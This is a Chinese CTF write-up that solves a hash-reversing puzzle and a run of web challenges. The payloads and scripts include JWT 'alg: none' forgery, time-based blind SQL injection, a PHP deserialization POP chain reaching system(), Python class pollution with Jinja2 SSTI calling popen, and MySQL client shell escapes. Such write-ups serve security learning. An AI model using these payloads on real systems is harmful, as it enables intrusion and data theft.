m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966
最后一层
- 已知每个加密字符串
enc[i]是由字符的 ASCII 值和索引i异或后的结果再进行md5哈希得到的。 - 通过暴力破解的方法:
- 对每个加密的哈希值
enc[i],尝试所有可能的字符(ASCII值从0到126)。 - 计算这些字符与其索引
i异或后的值,并对该值进行md5哈希。 - 如果哈希结果与
enc[i]相同,说明找到了正确的字符。
- 对每个加密的哈希值
- 最终结果是解密后的字符串
flag。
from hashlib import md5
enc = [
"3295c76acbf4caaed33c36b1b5fc2cb1", "26657d5ff9020d2abefe558796b99584",
"73278a4a86960eeb576a8fd4c9ec6997", "ec8956637a99787bd197eacd77acce5e",
"e2c420d928d4bf8ce0ff2ec19b371514", "43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135", "c8ffe9a587b126f152ed3d89a146b445",
"072b030ba126b2f4b2374f342be9ed44", "f457c545a9ded88f18ecee47145a72c0",
"698d51a19d8a121ce581499d7b701668", "c0c7c76d30bd3dcaefc96f40275bdc0a",
"9a1158154dfa42caddbd0694a4e9bdc8", "a3c65c2974270fd093ee8a9bf8ae7d0b",
"b53b3a3d6ab90ce0268229151c9bde11", "072b030ba126b2f4b2374f342be9ed44",
"7f39f8317fbdb1988ef4c628eba02591", "d67d8ab4f4c10bf22aa353e27879133c",
"5ef059938ba799aaa845e1c2e8a762bd", "1c383cd30b7c298ab50293adfecb7b18",
"a5771bce93e200c36f7cd9dfd0e5deaa", "9f61408e3afb633e50cdf1b20de6f466",
"e369853df766fa44e1ed0ff613f563bd", "e369853df766fa44e1ed0ff613f563bd",
"6c8349cc7260ae62e3b1396831a8398f", "a0a080f42e6f13b3a2df133f073095dd",
"b53b3a3d6ab90ce0268229151c9bde11", "a0a080f42e6f13b3a2df133f073095dd",
"6c8349cc7260ae62e3b1396831a8398f", "069059b7ef840f0c74a814ec9237b6ec",
"f7177163c833dff4b38fc8d2872f1ec6", "c0c7c76d30bd3dcaefc96f40275bdc0a",
"c74d97b01eae257e44aa9d5bade97baf", "37693cfc748049e45d87b8c7d8b9aacd",
"37693cfc748049e45d87b8c7d8b9aacd", "02e74f10e0327ad868d138f2b4fdd6f0",
"e2c420d928d4bf8ce0ff2ec19b371514", "7cbbc409ec990f19c78c75bd1e06f215",
"ea5d2f1c4608232e07d3aa3d998e5135", "14bfa6bb14875e45bba028a21ed38046",
"ad61ab143223efbc24c7d2583be69251", "6ea9ab1baa0efb9e19094440c317e21b",
"d1fe173d08e959397adf34b1d77e88d7", "d1fe173d08e959397adf34b1d77e88d7",
"43ec517d68b6edd3015b3edc9a11367b"
]
flag=''
for i in range(45):
for c in range(127):
if(md5(str(c^i).encode()).hexdigest()==enc[i]):
flag+=chr(c)
break
print(flag)
代码自行修改就可以得到flag了
week4
web
flag直接读取不就行了?
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
读取目录可以利用DirectoryIterator进行读取,逐层遍历得到具体位置
?K=DirectoryIterator&W=../../../secret
然后post读取就可以得到flag了,需要看源码
J=SplFileObject&H=../../../secret/f11444g.php
圣钥之战1.0
考察python原型链的知识,以前没写过刚好帮我入了门,先上源码
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
原理先按下不表,之后会出一篇文章学习一下原型链,主要是先写题目。大致就是利用merge函数来修改父类的属性
思路是利用/read下的__file__进行读取flag,想要利用这个,需要通过/pollute的传参就是污染,用merge对这个进行修改,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改

注意的是需要添加头,否则不能读取成功Content-Type: application/json
之后在/read刷新一下就出flag了,不能理解的看一下代码原理。

only one sql
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
首先执行show databases爆库看看,再执行爆表

猜测应该在flag里,执行一下爆列show columns from flag

猜测在data里面,题目把正常的select给过滤了,提醒了盲注,本人sql其实不算擅长,根据官p来吧,正常的flag格式是B来头,我们可以利用delete和时间盲注进行探测,比如
?sql=delete from flag where data like 'B%' and sleep(5)
DELETE FROM flag:从 flag 表中删除记录。WHERE data LIKE 'B%':条件为 data 字段的值以字母 B 开头的记录会被选中。检测是否有B开头的.SLEEP(5) 会让数据库等待 5 秒再继续执行。最后写个脚本等慢慢跑出来就行
import requests
import string
char = string.ascii_lowercase + string.digits + '-' + '{}'
flag = ''
for i in range(0, 100):
for c in char:
url = f'http://challenge.basectf.fun:28963/?sql=delete%20from%20flag%20where%20data%20like%20%27{flag}{c}%25%27%20and%20sleep(5)'
try:
response = requests.get(url, timeout=4)
except requests.exceptions.Timeout:
print(flag + c) # 输出已猜出的 flag 部分
flag += c # 将正确的字符加入 flag
break # 进入下一个字符的猜测
No JWT
和平常写的jwt有点不太一样
接口需要一个包含角色为 admin 的 JWT 令牌才能返回 flag。为了得到 flag,需要伪造一个 JWT 令牌,绕过服务器端的角色检查。
签名验证已被禁用,可以伪造一个 JWT 令牌,其中 role 设置为 admin。接下来就是构造这个伪造的 JWT 令牌并发送请求到 /flag 接口。
import base64
import json
import requests
flag_url = 'http://challenge.basectf.fun:30617/flag'
header = {
"alg": "none", # 禁用签名验证
"typ": "JWT"
}
payload = {
"sub": "admin",
"role": "admin", # 设置为 admin
"exp": 9999999999 # 过期时间设置在未来
}
# 对 header 和 payload 进行 Base64 编码
header_enc = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
payload_enc = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
fake_jwt = f"{header_enc}.{payload_enc}."
headers = {
'Authorization': f'Bearer {fake_jwt}'
}
response = requests.get(flag_url, headers=headers)
# 打印服务器响应
print("服务器响应状态码:", response.status_code)
print("服务器响应内容:", response.text)
Fin
web
1z_php
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
第一层对emp进行传值,用小数点就可以绕过,注意php特性
e[m.p=114514.111
第二层非贪婪绕过,可以去看看p神的文章,了解一下原理,PHP利用PCRE回溯次数限制绕过某些安全限制,只需要给HACKER前面加100w个就行了(ps:我没测最小值需要多少,直接量大管饱了)post发包
payload = b'a' * 1000000+ b'HACKER'
print(payload)
第三层进行原生类的读取,简要的介绍gpt来写
SplFileObject 是 PHP 的一个内置类,继承自 SplFileInfo,用于处理文件的读写操作。它提供了许多方法来操作文件,类似于文件处理的面向对象接口。
使用 SplFileObject 的常见方法:
fgets(): 读取文件的一行。fwrite(): 写入内容到文件。fgetc(): 读取文件的一个字符。
php://stdin 是一个 PHP 的流包装器,表示标准输入流。这通常用于从命令行或其他输入流读取数据。
php://stdin允许你读取从标准输入传入的数据,例如,通过命令行管道传递的数据。
fgets() 是 SplFileObject 提供的一个方法,用于从文件中读取一行。结合 php://stdin,它可以读取从标准输入传入的数据。
a=SplFileObject&b=php://stdin&c=fgets
最后在post后面执行system('cat flag.php');就可以得到flag,看源码
ez_php
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}
public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}
class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}
class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}
}
class E{
public $e;
public function __isset($name){
($this->e)();
}
}
class R{
public $r;
public function __invoke(){
eval($this->r);
}
}
if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}
晨曦✌出的太狠了,简单的先分析一下pop链,一下是依次触发的情况
Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke
接着考虑绕过__wakeup,使用&进行引用就可以绕过
需要注意的是由于最后有throw new Exception("杂鱼~杂鱼~");让__destruct不能正常触发,需要使用gc回收机制,参考GC回收机制,
exp
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}
public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}
class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}
class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}
}
class E{
public $e;
public function __isset($name){
($this->e)();
}
}
class R{
public $r;
public function __invoke(){
eval($this->r);
}
}
$exp=new Hacker();
$exp->end=&$exp->username;
$exp->start=new C;
$exp->start->c=new T;
$exp->start->c->t=new F;
$exp->start->c->t->f=new E;
$exp->start->c->t->f->e=new R;
$exp->start->c->t->f->e->r="system('ls');";
$orange=array('1'=>$exp,'2'=>null);
echo serialize($orange);
得到的答案需要在本地测试一下前面的内容

然后前面的需要进行字符串逃逸,这里不再赘婿,可以看我文章,

测出长度是
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:15:"system('ls /');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system('cat /flag');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
cx师傅又让我学到了
Jinja Mark
在/flag里面可以fuzz一下得到提示,不确定这个是动态还是静态的,最好自己bp跑一下
lucky_number=5346
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
得到了提示,index禁用了花括号,然后这是一个python原生类的题目~暂时没思路了,是要通过原生类进行ssti,还是通过这个进行简单的花括号绕过呢
续言:没错就是进行简单的花括号绕过,用其他代替就好了jinja_env 配置了 Jinja2 的模板引擎环境,通过修改 variable_start_string 和 variable_end_string 来控制模板变量的起始和结束符号。只是我知识面比较窄而已,利用post发包
{
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "<<",
"variable_end_string": ">>"
}
}
}
}
}
Content-Type: application/json
最后直接在对应的界面进行简单的ssti注入就行了
<<"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()>>
Back to the future
一时间没想起来怎么写,在nss刷题的时候突然就想起来了,默认去看一下robots.txt,通常不要扫描的都在这里,提醒的是.git然后用githacker这个工具进行恢复,利用git reset –hard 第二个恢复flag
续:有师傅和我说githack不能直接得到,我用的是gitdumper下来再用githacker的,也可以按这么来。
RCE or Sql Inject
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha
学习学习吧,给的hint告诉了这题其实已经是rce的题目了
R! C! E! mysql远程连接和命令行操作是不是有些区别呢 输个问号看看?
本地mysql连接输入?看看有一行可以注意到(我在物理机测试上并没有,可能是版本问题,之后会在vps上测一下)
system (\!) Execute a system shell command.
那么就是使用system或者\!执行一个system shell命令
?sql=%0asystem env
冷知识+1
Sql Inject or RCE
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha
在上一题的基础上过滤了system,并且把过滤的del变成了delete,所以可以考虑从del这方面入手。
DELIMITER 是一个用于改变 SQL 语句结束符的命令,通常用于定义存储过程、触发器或函数时,因为这些语句内部会使用 ;,而 ; 也是 MySQL 默认的语句结束符。简单的说可以把DELIMITER当作;,但是我们可以自定义这个。
handler是MySQL特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
?sql=%0adelimiter orange%0a handler flag openorange%0ahandler flag read next
实际执行的是
delimiter orange
handler flag openorange
handler flag read next
Lucky Number
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
#heaven.py
def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}
return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}
也是一道原生类的题目orz
从已知的代码进行分析,在heaven.py里有create函数的__kwdefaults__,同时还需要confirm是true.涉及动态加载模块或处理模块之间的依赖时,需要sys.modules 来访问已经加载的模块.回到代码中并没有导入sys模组,这时可以利用python的内置函数__spec__.包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.spec.init.globals[‘sys’]获取到sys模块,此处就可以使用json模块获取.(以上跟着官p学的,我还没学这么多orz)
Content-Type: application/json
{
"__init__": {
"__globals__": {
"json":{
"__spec__":{
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"heaven" : {
"create" : {
"__kwdefaults__" : {
"confirm" : true,
"lucky_number" : "5346"
}
}
}
}
}
}
}
}
}
}
}
}
然后会变成快去/ssSstTti1注入吧
然后就是普通的无过滤的ssti注入
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}